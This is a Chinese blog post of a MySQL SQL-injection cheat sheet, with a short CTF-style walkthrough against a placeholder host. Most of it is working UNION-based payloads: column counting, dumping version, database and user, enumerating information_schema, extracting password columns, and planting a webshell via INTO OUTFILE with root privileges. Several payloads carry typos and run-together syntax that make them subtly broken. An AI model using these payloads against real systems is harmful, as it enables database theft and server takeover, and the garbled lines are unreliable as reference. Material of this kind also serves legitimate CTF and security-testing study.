美文网首页
mysql注入

mysql注入

作者: 独白白1920 | 来源:发表于2018-09-23 18:21 被阅读0次

MYSQL注入

(1)判断是否存在SQL注入

and1=1

and 1=2

(2)爆字段

orderby猜测的字段数

(3)匹配字段

and1=1unionselect1,2,3,……,n

(4)获取显示字段

and1=2unionselect1,2,3,4.…..n

(5)利用内置函数爆数据库信息

version() database() user()

例如:

and 1=2 union allselectversion()

and1=2unionallselectdatabase()

and1=2unionallselectuser()

(6)操作系统信息

and1=2union allselect@@global.version_compile_osfrommysql.user

(7)数据库权限

andord(mid(user(),1,1))=114返回正常则说明为root权限

(8)暴库(mysql>5.0)

Mysql 5.0以上版本内置库information_schema,存储着mysql的所有数据库和表结构信息。

and1=2union selec1,2,3,SCHEMA_NAME,5,6,7,8,9,10frominformation_schema.SCHEMA limit0,1

(9)猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)

(10)爆字段

and 1=2 union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schemation.COLUMNS where TABLE_NAMEE=表名(十六进制) limit 0 ,1

(11)爆密码

and 1=2 union select 1,2,3,用户名段,5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:

1、知道站点物理路径

2、有足够高的权限(这个看你们自己咯)

3、magic_quotes_gpc()=OFF

select ‘’into outfile ‘物理路径’ and 1=2 union all select 一句话HEX值 into outfile ‘路径’

MYSQL数字型注入

(1)找注入参数:

http://xx.xx.xx.xx:xxxx/?id=1

http://xx.xx.xx.xx:xxxx/?id=1and1=1#显示正常

http://xx.xx.xx.xx:xxxx/?id=1and1=2#显示不正常

(2)猜字段(个数为3)

http://xx.xx.xx.xx:xxxx/?id=1order by4— ss#显示不正常

http://xx.xx.xx.xx:xxxx/?id=1order by3— ss#显示正常

(3)字段精确定位

http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 union select 1,2,3 –ss #2,3 显示

(4)获取数据库名

http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 union select 1,database(),user() –sd

假设数据库名为sql_db用户名为admin

(5)获取表名

http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 union select 1,2,TABLE_NAMEfrom information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1– ss

假设获取到的表名为fla

(6)获取字段名

http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 Union select 1,2,COLUMN_NAMEfrom information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1– ss #0x666c6167是flag的十六进制

(7)获取字段内容:

http://xx.xx.xx.xx:xxxx/?id=1 and 1=2 union select 1,id,flag from flag– ss

相关文章

  • 小迪16期-20170401

    第六天:MySQL防注入研究 MySQL头注入(http)Access偏移注入CSRF攻击 MySQL防注入 过滤...

  • sql注入-updatexml报错注入

    参考:MySQL updatexml报错注入MySQL updatexml()、extractvalue() 报错...

  • MySQL注入总结

    目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert、update) ...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 详解MySQL注入利用的变量

    MySQL注入数据库时,我们可以利用内置的变量来得到更多的mysql信息,下面就让我们一起来了解MySQL注入利用...

  • Mysql注入-时间注入

    时间注入是利用返回页面时间的差异,来判断条件是否满足,以此逐字猜测数据库的一种注入 关键函数if(),sleep(...

  • Mysql注入-报错注入

    当页面存在注入点并且回显报错信息时,我们就可以利用报错注入 updataxml报错注入: 该报错最多显示32位,若...

  • mysql注入

    MYSQL注入 (1)判断是否存在SQL注入 and1=1 and 1=2 (2)爆字段 orderby猜测的字段...

  • mysql注入

    注释符 # /**/ --+ -- - %00 union,select关键过滤:/!union//!select...

  • mysql注入

    说明 语言python 代码基于 tornado框架 数据库是用Navicat操作的 引入python操作SQL的...

网友评论

      本文标题:mysql注入

      本文链接:https://www.haomeiwen.com/subject/modqoftx.html